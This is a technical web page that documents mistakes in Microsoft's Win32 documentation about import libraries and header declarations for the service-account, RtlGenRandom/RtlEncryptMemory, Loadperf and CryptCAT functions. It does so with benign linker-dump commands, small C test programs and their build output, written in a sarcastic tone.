 
        
        
             
        
        
             
        
        Artof Computer Programming
Note: some cases of disinformation presented below were published 30 (in words: thirty) years ago and never corrected!
Also show components, functions and interfaces of Microsoft Windows NT which exhibit inconsistent, odd, surprising, undocumented or weird (mis)behaviour, i.e. bugs, dysfunctions, idiosyncrasies and quirks.
 45 years ago I participated in the research project
            Entwicklung von Entwurfstechnologien für Familien von Programmsystemen
            (Development of Design Technologies for Families of Program Systems
)
            initiated and led by
            David Parnas
            (a pioneer of software engineering
 who coined the term
            information hiding
) to design and implement the prototype of
            a modularised operating system built from formally specified
            encapsulated independent and strictly layered components where both
            concepts played the crucial role.
        
Was für Plunder! (What rubbish!)
NetAddServiceAccount(),
            NetEnumerateServiceAccounts(),
            NetIsServiceAccount(),
            NetQueryServiceAccount()
            and
            NetRemoveServiceAccount()
            states since 2009:
        This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Logoncli.dll.Ouch: while the[…]
Requirement Value … … Header lmaccess.h DLL Netapi32.dll 
Requirementssections name
Netapi32.dll, all texts but
            specify Logoncli.dll!
            Managed Service Accounts
            Managed Service Accounts
            Managed Service Accounts Frequently Asked Questions (FAQ)
            Service Accounts Step-by-Step Guide
            Managed Service Accounts: Understanding, Implementing, Best Practices, and Troubleshooting
         Determine which of the two
            DLLs
            Logoncli.dll and
            Netapi32.dll provides these
            five Win32 functions:
        
FOR %? IN (Logoncli.dll) DO SET LOGONCLI=%~$PATH:? LINK.EXE /DUMP /EXPORTS /OUT:logoncli.txt "%LOGONCLI%" FOR %? IN (Netapi32.dll) DO SET NETAPI32=%~$PATH:? LINK.EXE /DUMP /EXPORTS /OUT:netapi32.txt "%NETAPI32%" FIND.EXE "ServiceAccount" logoncli.txt netapi32.txtNote: the command lines can be copied and pasted as block into a Command Processor window.
SET LOGONCLI=C:\Windows\System32\logoncli.dll
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
SET NETAPI32=C:\Windows\System32\netapi32.dll
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
---------- LOGONCLI.TXT
         61   3C 0000F520 NetAddServiceAccount
         62   3D 0000F5AC NetEnumerateServiceAccounts
         66   41 0000F64C NetIsServiceAccount
         69   44 0000F6AC NetQueryServiceAccount
         70   45 0000F568 NetRemoveServiceAccount
---------- NETAPI32.TXT
         98   61          NetAddServiceAccount (forwarded to LOGONCLI.NetAddServiceAccount)
        142   8D          NetEnumerateServiceAccounts (forwarded to LOGONCLI.NetEnumerateServiceAccounts)
        164   A3          NetIsServiceAccount (forwarded to LOGONCLI.NetIsServiceAccount)
        186   B9          NetQueryServiceAccount (forwarded to LOGONCLI.NetQueryServiceAccount)
        191   BE          NetRemoveServiceAccount (forwarded to LOGONCLI.NetRemoveServiceAccount)
            Oops: the text is correct,
            Logoncli.dll exports these
            five Win32 functions –
            Netapi32.dll exports them
            too, but as forwardersto the functions implemented in
Logoncli.dll, i.e. either
            DLL
            can be linked!
         Determine whether the highlighted statements
            This function has no associated import library.
 are true
            – or false:
        
FOR %? IN (Logoncli.lib) DO SET LOGONCLI=%~$LIB:? FOR %? IN (Netapi32.lib) DO SET NETAPI32=%~$LIB:? LINK.EXE /DUMP /EXPORTS /OUT:netapi32.txt "%NETAPI32%" FIND.EXE "ServiceAccount" netapi32.txtNote: the environment variable
LIB is
            set by the
            Windows Software Development Kit for Windows 7
            – see the
            MSDN article
            Use the Microsoft C++ toolset from the command line
            for an introduction.
        SET LOGONCLI=
SET NETAPI32=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\NetAPI32.Lib
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
---------- NETAPI32.TXT
                  _NetAddServiceAccount@16
                  _NetEnumerateServiceAccounts@16
                  _NetIsServiceAccount@12
                  _NetQueryServiceAccount@16
                  _NetRemoveServiceAccount@12
            OUCH¹: contrary to the highlighted statements
            of their documentations cited above, not just the
            Windows Software Development Kit for Windows 7
            but ships with an associated import library
NetAPI32.lib for these five Win32
            functions!
         OUCH²: the import library
            NetAPI32.lib but links to
            Netapi32.dll instead of
            Logoncli.dll –
            this results in a superflous indirection and loads
            both
            DLLs
            instead of just the right one!
        
 Create the text file lmaccess.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <lmaccess.h>
#define STATUS_SUCCESS	0L
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
#ifndef BLUNDER
	DWORD	dwBlunder;
	LPWSTR	*lpBlunder;
	LONG	ntStatus = NetEnumerateServiceAccounts((LPWSTR) NULL,
		                                       0UL,
		                                       &dwBlunder,
		                                       &lpBlunder);
#elif BLUNDER == 1
	BOOL	blunder;
	LPBYTE	lpBlunder;
	LONG	ntStatus = -NetIsServiceAccount((LPWSTR) NULL,
		                                (LPWSTR) NULL,
		                                &blunder);
	if (ntStatus == -STATUS_SUCCESS)
		ntStatus = NetQueryServiceAccount((LPWSTR) NULL,
		                                  (LPWSTR) NULL,
		                                  0UL,
		                                  &lpBlunder);
#else
	LONG	ntStatus = NetAddServiceAccount((LPWSTR) NULL,
		                                L"",
		                                (LPWSTR) NULL,
		                                SERVICE_ACCOUNT_FLAG_LINK_TO_HOST_ONLY);
	if (ntStatus == STATUS_SUCCESS)
		ntStatus = -NetRemoveServiceAccount((LPWSTR) NULL,
		                                    L"",
		                                    SERVICE_ACCOUNT_FLAG_UNLINK_FROM_HOST_ONLY);
#endif
	ExitProcess(ntStatus);
} Compile and link the source file lmaccess.c created in
            step 3. to test whether the associated import library
            Netapi32.lib can be linked statically – or not:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation.  All rights reserved.
lmaccess.c
Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
/out:lmaccess.exe
lmaccess.obj
kernel32.lib
netapi32.lib
lmaccess.obj : error LNK2019: unresolved external symbol _NetEnumerateServiceAccounts referenced in function _mainCRTStartup
lmaccess.exe : fatal error LNK1120: 1 unresolved externals
            OUCH³: the undecorated symbol
            name _NetEnumerateServiceAccounts in the error message
            indicates two NetEnumerateServiceAccounts()
            in the header file lmaccess.h – the
            mandatory calling convention
            __stdcall
            and the (optional) storage class attribute
            __declspec(dllimport)
            are missing!
         Note: most obviously nobody
            at Microsoft tests or uses their own
            products crap with the default settings of
            their own development tools – and their quality
            miserability assurance is sound asleep!
        
 Note: without the optional
            __declspec(dllimport) the Visual C
            compiler generates a
            CALL ‹function name›
            that the linker needs to resolve with a stub function, an indirect
            JMP through the
            Import Address Table – with
            __declspec(dllimport) it just generates an indirect
            CALL through the
            Import Address Table.
        
 Note: properly declared, the symbol name would be
            __imp__NetEnumerateServiceAccounts@16 – see the
            MSDN article
            Decorated Names
            for details.
        
 Repeat the previous step 4., now with the
            /Gz
            compiler option:
        
CL.EXE /Gz lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. lmaccess.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:lmaccess.exe lmaccess.obj kernel32.lib netapi32.lib
 Execute the console application lmaccess.exe built in
            step 5. and evaluate its exit code:
        
.\lmaccess.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0020012 (NT: 0xc0020012 RPC_NT_UNKNOWN_IF) -- 3221356562 (-1073610734) Error message text: The interface is unknown. CertUtil: -error command completed successfully.OUCH⁴: WTF?
 Repeat step 4., but with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. lmaccess.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:lmaccess.exe lmaccess.obj kernel32.lib netapi32.lib lmaccess.obj : error LNK2019: unresolved external symbol _NetIsServiceAccount referenced in function _mainCRTStartup lmaccess.obj : error LNK2019: unresolved external symbol _NetQueryServiceAccount referenced in function _mainCRTStartup lmaccess.exe : fatal error LNK1120: 2 unresolved externalsOUCH⁵: the declarations of the function prototypes for
NetIsServiceAccount()
            and
            NetQueryServiceAccount()
            are as faulty as that for
            NetEnumerateServiceAccounts()!
         Repeat the previous step 7., now with the
            /Gz
            compiler option
            too:
        
CL.EXE /DBLUNDER /Gz lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. lmaccess.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:lmaccess.exe lmaccess.obj kernel32.lib netapi32.lib
 Execute the console application lmaccess.exe built in
            step 8. and evaluate its exit code:
        
.\lmaccess.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0030009 (NT: 0xc0030009 RPC_NT_NULL_REF_POINTER) -- 3221422089 (-1073545207) Error message text: A null reference pointer was passed to the stub. CertUtil: -error command completed successfully.OUCH⁶: while the
NetIsServiceAccount()
            function accepts a NULL pointer for the
            AccountName parameter, the
            NetQueryServiceAccount()
            function rejects it with
            NTSTATUS
            0xC0030009
            alias RPC_NT_NULL_REF_POINTER!
         Repeat step 7., now with the preprocessor macro
            BLUNDER defined as 0:
        
CL.EXE /DBLUNDER=0 lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. lmaccess.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:lmaccess.exe lmaccess.obj kernel32.lib netapi32.lib lmaccess.obj : error LNK2019: unresolved external symbol _NetAddServiceAccount referenced in function _mainCRTStartup lmaccess.obj : error LNK2019: unresolved external symbol _NetRemoveServiceAccount referenced in function _mainCRTStartup lmaccess.exe : fatal error LNK1120: 2 unresolved externalsOUCH⁷: the declarations of the function prototypes for
NetAddServiceAccount()
            and
            NetRemoveServiceAccount()
            are as faulty as those for
            NetEnumerateServiceAccounts(),
            NetIsServiceAccount()
            and
            NetQueryServiceAccount()!
         Repeat the previous step 10., now with the
            /Gz
            compiler option
            too:
        
CL.EXE /DBLUNDER=0 /Gz lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. lmaccess.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:lmaccess.exe lmaccess.obj kernel32.lib netapi32.lib
 Finally execute the console application lmaccess.exe
            built in step 11. and evaluate its exit code:
        
.\lmaccess.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0020012 (NT: 0xc0020012 RPC_NT_UNKNOWN_IF) -- 3221356562 (-1073610734) Error message text: The interface is unknown. CertUtil: -error command completed successfully.OUCH⁸: WTF?
RtlDecryptMemory()
            states since 2001:
        Ouch¹: a function is not a (named) resource – see the MSDN article Menus and Other Resources for their definition!Note This function has no associated import library. This function is available as a resource named SystemFunction041 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.[…]NTSTATUS RtlDecryptMemory( [in, out] PVOID Memory, [in] ULONG MemorySize, [in] ULONG OptionFlags );[…]
Requirement Value … … Header ntsecapi.h DLL Advapi32.dll 
 The documentation for the Win32 function
            RtlEncryptMemory()
            states since 2001:
        
Ouch²: a function is not a (named) resource – see the MSDN article Menus and Other Resources for their definition!Note This function has no associated import library. This function is available as a resource named SystemFunction040 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.[…]NTSTATUS RtlEncryptMemory( [in, out] PVOID Memory, [in] ULONG MemorySize, [in] ULONG OptionFlags );[…]
Requirement Value … … Header ntsecapi.h DLL Advapi32.dll 
 The documentation for the Win32 function
            RtlGenRandom()
            states since 2001:
        
Ouch³: a function is not a (named) resource – see the MSDN article Menus and Other Resources for their definition!Note This function has no associated import library. This function is available as a resource named SystemFunction036 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.[…]BOOLEAN RtlGenRandom( [out] PVOID RandomBuffer, [in] ULONG RandomBufferLength );[…]
Requirement Value … … Header ntsecapi.h DLL Advapi32.dll 
 Determine whether the highlighted statements
            This function has no associated import library.
 are true
            – or false:
        
FOR %? IN (Advapi32.lib) DO SET ADVAPI32=%~$LIB:? LINK.EXE /DUMP /EXPORTS /OUT:advapi32.txt "%ADVAPI32%" FIND.EXE "SystemFunction0" advapi32.txtNote: the environment variable
LIB is
            set by the
            Windows Software Development Kit for Windows 7
            – see the
            MSDN article
            Use the Microsoft C++ toolset from the command line
            for an introduction.
        Note: the command lines can be copied and pasted as block into a Command Processor window.
SET ADVAPI32=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\Advapi32.Lib
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
---------- ADVAPI32.TXT
                  _SystemFunction001@12
                  _SystemFunction002@12
                  _SystemFunction003@8
                  _SystemFunction004@12
                  _SystemFunction005@12
                  _SystemFunction006@8
                  _SystemFunction007@8
                  _SystemFunction008@12
                  _SystemFunction009@12
                  _SystemFunction010@12
                  _SystemFunction011@12
                  _SystemFunction012@12
                  _SystemFunction013@12
                  _SystemFunction014@12
                  _SystemFunction015@12
                  _SystemFunction016@12
                  _SystemFunction017@12
                  _SystemFunction018@12
                  _SystemFunction019@12
                  _SystemFunction020@12
                  _SystemFunction021@12
                  _SystemFunction022@12
                  _SystemFunction023@12
                  _SystemFunction024@12
                  _SystemFunction025@12
                  _SystemFunction026@12
                  _SystemFunction027@12
                  _SystemFunction028@8
                  _SystemFunction029@8
                  _SystemFunction030@8
                  _SystemFunction031@8
                  _SystemFunction032@8
                  _SystemFunction033@8
                  _SystemFunction034@12
                  _SystemFunction036@8
                  _SystemFunction040@12
                  _SystemFunction041@12
            OUCH¹: contrary to the highlighted statements
            of their documentations cited above, not just the
            Windows Software Development Kit for Windows 7
            but ships with an associated import library
Advapi32.lib for these three Win32
            functions!
         Create the text file ntsecapi.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <ntsecapi.h>
#define STATUS_SUCCESS		0L
#define STATUS_UNSUCCESSFUL	0xC0000001L
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	BYTE	cbMemory[RTL_ENCRYPT_MEMORY_SIZE];
	LONG	ntStatus;
	if (RtlGenRandom(cbMemory, sizeof(cbMemory)))
	{
		ntStatus = RtlEncryptMemory(cbMemory, sizeof(cbMemory), 0UL);
		if (ntStatus == STATUS_SUCCESS)
			ntStatus = RtlDecryptMemory(cbMemory, sizeof(cbMemory), 0UL);
	}
	else
		ntStatus = STATUS_UNSUCCESSFUL;
	ExitProcess(ntStatus);
} Compile and link the source file ntsecapi.c created in
            step 2. to test whether the associated import library
            Advapi32.lib can be linked statically – or not:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE ntsecapi.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. ntsecapi.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:ntsecapi.exe ntsecapi.obj advapi32.lib kernel32.lib ntsecapi.obj : error LNK2019: unresolved external symbol _SystemFunction041 referenced in function _mainCRTStartup ntsecapi.obj : error LNK2019: unresolved external symbol _SystemFunction040 referenced in function _mainCRTStartup ntsecapi.obj : error LNK2019: unresolved external symbol _SystemFunction036 referenced in function _mainCRTStartup ntsecapi.exe : fatal error LNK1120: 3 unresolved externalsOUCH²: the undecorated symbol names
_SystemFunction036,
            _SystemFunction040 and _SystemFunction041
            in the error messages indicate two RtlDecryptMemory(),
            RtlEncryptMemory()
            and
            RtlGenRandom()
            in the header file ntsecapi.h – the
            mandatory calling convention
            __stdcall
            and the (optional) storage class attribute
            __declspec(dllimport)
            are missing!
         Note: properly declared, the symbol names were but
            __imp__SystemFunction036@8,
            __imp__SystemFunction040@12 and
            __imp__SystemFunction041@12 – see the
            MSDN article
            Decorated Names
            for details.
        
 Repeat the previous step 3., now with the
            /Gz
            compiler option:
        
CL.EXE /Gz ntsecapi.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. ntsecapi.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:ntsecapi.exe ntsecapi.obj advapi32.lib kernel32.lib
 Finally execute the console application ntsecapi.exe
            built in step 4. and evaluate its exit code:
        
.\ntsecapi.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
InstallPerfDllA()
            and
            InstallPerfDllW()
            states since 1999:
        This function has no associated import library; you must call it using the LoadLibrary and GetProcAddress functions.[…]
Requirement Value … … Header Loadperf.h DLL Loadperf.dll 
 Determine whether the highlighted statement
            This function has no associated import library.
 is true
            – or false:
        
FOR %? IN (Loadperf.lib) DO SET LOADPERF=%~$LIB:? LINK.EXE /DUMP /EXPORTS /OUT:loadperf.txt "%LOADPERF%" FIND.EXE "InstallPerfDll" loadperf.txtNote: the environment variable
LIB is
            set by the
            Windows Software Development Kit for Windows 7
            – see the
            MSDN article
            Use the Microsoft C++ toolset from the command line
            for an introduction.
        Note: the command lines can be copied and pasted as block into a Command Processor window.
SET LOADPERF=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\LoadPerf.Lib
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
---------- LOADPERF.TXT
                  _InstallPerfDllA@12
                  _InstallPerfDllW@12
         Create the text file loadperf.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <loadperf.h>
FARPROC	loadperf[] = {InstallPerfDllA,
	              InstallPerfDllW}; Compile and link the source file loadperf.c created in
            step 2. to prove that the associated import library
            Loadperf.lib can be linked statically:
        
SET CL=/GF /W4 /Zl SET LINK=/DLL /NODEFAULTLIB /NOENTRY CL.EXE loadperf.c loadperf.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. loadperf.c loadperf.c(9) : warning C4232: nonstandard extension used : 'loadperf' : address of dllimport 'InstallPerfDllA' is not static, identity not guaranteed C:\Program Files\Microsoft SDKs\Windows\v7.1\Include\loadperf.h(49) : see declaration of 'InstallPerfDllA' loadperf.c(9) : warning C4057: 'initializing' : 'FARPROC' differs in indirection to slightly different base types from 'DWORD (__stdcall *)(LPCSTR,LPCSTR,ULONG_PTR)' loadperf.c(10) : warning C4232: nonstandard extension used : 'loadperf' : address of dllimport 'InstallPerfDllW' is not static, identity not guaranteed C:\Program Files\Microsoft SDKs\Windows\v7.1\Include\loadperf.h(42) : see declaration of 'InstallPerfDllW' loadperf.c(10) : warning C4057: 'initializing' : 'FARPROC' differs in indirection to slightly different base types from 'DWORD (__stdcall *)(LPCWSTR,LPCWSTR,ULONG_PTR)' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DLL /NODEFAULTLIB /NOENTRY /out:loadperf.exe loadperf.obj loadperf.libOOPS: contrary to the highlighted statements of their documentations cited above, all functions can be linked statically with their import library
Loadperf.lib!
        CryptCATAdminAcquireContext(),
            CryptCATAdminAcquireContext2(),
            CryptCATAdminAddCatalog(),
            CryptCATAdminCalcHashFromFileHandle(),
            CryptCATAdminCalcHashFromFileHandle2(),
            CryptCATAdminReleaseCatalogContext(),
            CryptCATAdminReleaseContext(),
            CryptCATAdminRemoveCatalog(),
            CryptCATCatalogInfoFromContext(),
            CryptCATClose(),
            CryptCATEnumerateAttr(),
            CryptCATEnumerateCatAttr()
            and
            CryptCATGetMemberInfo()
            states since 2001:
        This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.OUCH¹: the highlighted reference to the import library[…]
Requirement Value … … Header mscat.h Library Wintrust.lib DLL Wintrust.dll 
Wintrust.lib in the Requirementssection but contradicts the highlighted statement
This function has no associated import library.given in the text – it’s a real shame that nobody at Microsoft cares about such obvious faults!
 The documentation for both of the Win32 functions
            CryptCATAdminResolveCatalogPath()
            and
            IsCatalogFile()
            states since 2001:
        
The documentation for the Win32 functionNote This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.[…]
Requirement Value … … Header mscat.h DLL Wintrust.dll 
CryptCATOpen()
            states since 2001:
        Note Some older versions of Wintrust.lib do not contain the export information for this function. In this case, you must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.[…]
Requirement Value … … Header mscat.h Library Wintrust.lib DLL Wintrust.dll 
CryptCATCDFClose()
            CryptCATCDFEnumCatAttributes()
            CryptCATCDFOpen()
            The documentation for both of the Win32 functions
            CryptCATCDFEnumAttributesWithCDFTag()
            and
            CryptCATCDFEnumMembersByCDFTagEx()
            states since 2001:
        OUCH²: the highlighted reference toNote This function has no associated header file or import library. To call this function, you must create a user-defined header file and use the LoadLibrary and GetProcAddress functions to dynamically link to Mssign32.dll.[…]
Requirement Value … … DLL Wintrust.dll 
Wintrust.dll
            in the Requirementssection but contradicts the highlighted statement
dynamically link to Mssign32.dll.given in the text – it’s a real shame that nobody at Microsoft cares about such obvious faults!
 Determine whether the highlighted statement
            This function has no associated import library.
 is true
            – or false:
        
FOR %? IN (Wintrust.lib) DO SET WINTRUST=%~$LIB:? LINK.EXE /DUMP /EXPORTS /OUT:wintrust.txt "%WINTRUST%" FIND.EXE "CryptCAT" wintrust.txtNote: the environment variable
LIB is
            set by the
            Windows Software Development Kit for Windows 7
            – see the
            MSDN article
            Use the Microsoft C++ toolset from the command line
            for an introduction.
        Note: the command lines can be copied and pasted as block into a Command Processor window.
SET WINTRUST=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\Wintrust.Lib
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
---------- WINTRUST.TXT
                  ?CryptCATVerifyMember@@YGHPAXPAUCRYPTCATMEMBER_@@0@Z (int __stdcall CryptCATVerifyMember(void *,struct CRYPTCATMEMBER_ *,void *))
                  _CryptCATAdminAcquireContext@12
                  _CryptCATAdminAddCatalog@16
                  _CryptCATAdminCalcHashFromFileHandle@16
                  _CryptCATAdminEnumCatalogFromHash@20
                  _CryptCATAdminPauseServiceForBackup@8
                  _CryptCATAdminReleaseCatalogContext@12
                  _CryptCATAdminReleaseContext@8
                  _CryptCATAdminRemoveCatalog@12
                  _CryptCATAdminResolveCatalogPath@16
                  _CryptCATAllocSortedMemberInfo@8
                  _CryptCATCDFClose@4
                  _CryptCATCDFEnumAttributes@16
                  _CryptCATCDFEnumAttributesWithCDFTag@20
                  _CryptCATCDFEnumCatAttributes@12
                  _CryptCATCDFEnumMembers@12
                  _CryptCATCDFEnumMembersByCDFTag@16
                  _CryptCATCDFEnumMembersByCDFTagEx@24
                  _CryptCATCDFOpen@8
                  _CryptCATCatalogInfoFromContext@12
                  _CryptCATClose@4
                  _CryptCATEnumerateAttr@12
                  _CryptCATEnumerateCatAttr@8
                  _CryptCATEnumerateMember@8
                  _CryptCATFreeSortedMemberInfo@8
                  _CryptCATGetAttrInfo@12
                  _CryptCATGetCatAttrInfo@8
                  _CryptCATGetMemberInfo@8
                  _CryptCATHandleFromStore@4
                  _CryptCATOpen@20
                  _CryptCATPersistStore@4
                  _CryptCATPutAttrInfo@24
                  _CryptCATPutCatAttrInfo@20
                  _CryptCATPutMemberInfo@28
                  _CryptCATStoreFromHandle@4
            OUCH³: contrary to the highlighted statements
            of their documentations cited above, not just the
            Windows Software Development Kit for Windows 7
            but ships with an associated import library
Wintrust.lib for these sixteen Win32
            functions!
         Create the text file mscat.c with the following content
            in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <wintrust.h>
#include <mscat.h>
CRYPTCATATTRIBUTE* WINAPI CryptCATCDFEnumAttributesWithCDFTag(
  _In_ CRYPTCATCDF                  *pCDF,
  _In_ LPWSTR                       pwszMemberTag,
  _In_ CRYPTCATMEMBER               *pMember,
  _In_ CRYPTCATATTRIBUTE            *pPrevAttr,
  _In_ PFN_CDF_PARSE_ERROR_CALLBACK pfnParseError
);
LPWSTR WINAPI CryptCATCDFEnumMembersByCDFTagEx(
  _In_    CRYPTCATCDF                  *pCDF,
  _Inout_ LPWSTR                       pwszPrevCDFTag,
  _In_    PFN_CDF_PARSE_ERROR_CALLBACK pfnParseError,
  _In_    CRYPTCATMEMBER               **ppMember,
  _In_    BOOL                         fContinueOnError,
  _In_    LPVOID                       pvReserved
);
FARPROC	mscat[] = {CryptCATAdminAcquireContext,
#if _WIN32_WINNT > 0x0601
	           CryptCATAdminAcquireContext2,
#endif
	           CryptCATAdminAddCatalog,
	           CryptCATAdminCalcHashFromFileHandle,
#if _WIN32_WINNT > 0x0601
	           CryptCATAdminCalcHashFromFileHandle2,
#endif
	           CryptCATAdminReleaseCatalogContext,
	           CryptCATAdminReleaseContext,
	           CryptCATAdminRemoveCatalog,
	           CryptCATAdminResolveCatalogPath,
	           CryptCATCatalogInfoFromContext,
	           CryptCATCDFEnumAttributesWithCDFTag,
	           CryptCATCDFEnumMembersByCDFTagEx,
	           CryptCATClose,
	           CryptCATEnumerateAttr,
	           CryptCATEnumerateCatAttr,
	           CryptCATGetMemberInfo,
	           CryptCATOpen,
	           IsCatalogFile}; Compile and link the source file mscat.c created in
            step 2. to prove that the associated import library
            Wintrust.lib can be linked statically:
        
SET CL=/GF /W4 /Zl SET LINK=/DLL /NODEFAULTLIB /NOENTRY CL.EXE mscat.c wintrust.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. mscat.c c:\program files\microsoft sdks\windows\v7.1\include\mssip.h(92) : warning C4201 : nonstandard extension used : nameless struct/union mscat.c(31) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'HCATINFO (__stdcall *)(HCATADMIN,PWSTR,PWSTR,DWORD)' mscat.c(44) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPTCATATTRIBUTE *(__stdcall *)(HANDLE,CRYPTCATMEMBER *,CRYPTCATATTRIBUTE *)' mscat.c(45) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPTCATATTRIBUTE *(__stdcall *)(HANDLE,CRYPTCATATTRIBUTE *)' mscat.c(46) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPTCATMEMBER *(__stdcall *)(HANDLE,LPWSTR)' mscat.c(47) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'HANDLE (__stdcall *)(LPWSTR,DWORD,HCRYPTPROV,DWORD,DWORD)' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DLL /NODEFAULTLIB /NOENTRY /out:mscat.exe mscat.obj wintrust.libOUCH⁴: contrary to the highlighted statements of their documentations cited above, these eighteen Win32 functions can be linked statically with their import library
wintrust.lib!
        OpenPersonalTrustDBDialog()
            and
            OpenPersonalTrustDBDialogEx()
            states since 2003:
        Ouch¹: the highlighted reference to the header fileNote This function has no associated header file or import library. You must define the function yourself and use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.[…]
Requirement Value … … Header wintrust.h DLL Wintrust.dll 
